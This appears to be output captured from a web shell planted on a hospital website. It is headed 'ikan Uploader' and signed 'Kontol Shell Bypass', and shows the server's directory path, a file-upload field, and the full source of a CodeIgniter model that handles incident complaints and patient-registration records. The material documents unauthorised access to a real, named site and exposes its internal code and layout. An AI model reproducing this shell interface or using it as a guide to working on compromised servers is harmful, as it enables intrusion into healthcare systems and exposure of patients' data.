ikan Uploader :
Directory : /var/www/html/shardahospital.org/pdms/application/models/
Upload File : |
| Current File : /var/www/html/shardahospital.org/pdms/application/models/Incident_Model.php |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class Incident_Model extends CI_Model{
/*
* Function : Sqlupdateinfo
*
* DB Connection : db2
*
*
*/
public function undateIncidentInfo($tbl_name='', $post, $field, $value)
{
$otherdb = $this->load->database('db2', TRUE);
$otherdb->where($field, $value);
if (!$otherdb->update($tbl_name, $post)) {
log_message('error', print_r($this->db->error(), true));
}
//echo $this->db->last_query(); die;
}
public function saveIncidentInfo($tbl_name='', $post)
{
$otherdb = $this->load->database('db2', TRUE);
$otherdb->insert($tbl_name, $post);
//echo $this->db->last_query(); die;
return $otherdb->insert_id();
}
/*
* Function : SqlgetAllRecord
* DB Connection : db2
*/
public function SqlgetAllRecord($tbl_name='tblcomplaints', $col = ' * ', $condition=null)
{
$otherdb = $this->load->database('db2', TRUE);
$time = time();
$otherdb->select($col);
// $this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$otherdb->where($key, $val);
}
}
$query = $otherdb->get($tbl_name);
//echo $this->db->last_query(); die;
return $query->result_array();
}
/*
* Function : SQLgetSingleRecord
* DB Connection : db2
*/
public function SQLgetSingleRecord($tbl_name, $col = ' * ', $condition=null)
{
$otherdb = $this->load->database('db2', TRUE);
$time = time();
$otherdb->select($col);
// $this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$otherdb->where($key, $val);
}
}
$query = $otherdb->get($tbl_name);
//echo $this->db->last_query(); die;
return $query->row_array();
}
public function incidentCount($tbl_name = 'patient_registration')
{
$otherdb = $this->load->database('db2', TRUE);
$result = $otherdb->query("SELECT complaintNumber FROM ".$tbl_name." where is_deleted='0'");
return $result->num_rows();
}
}
Kontol Shell Bypass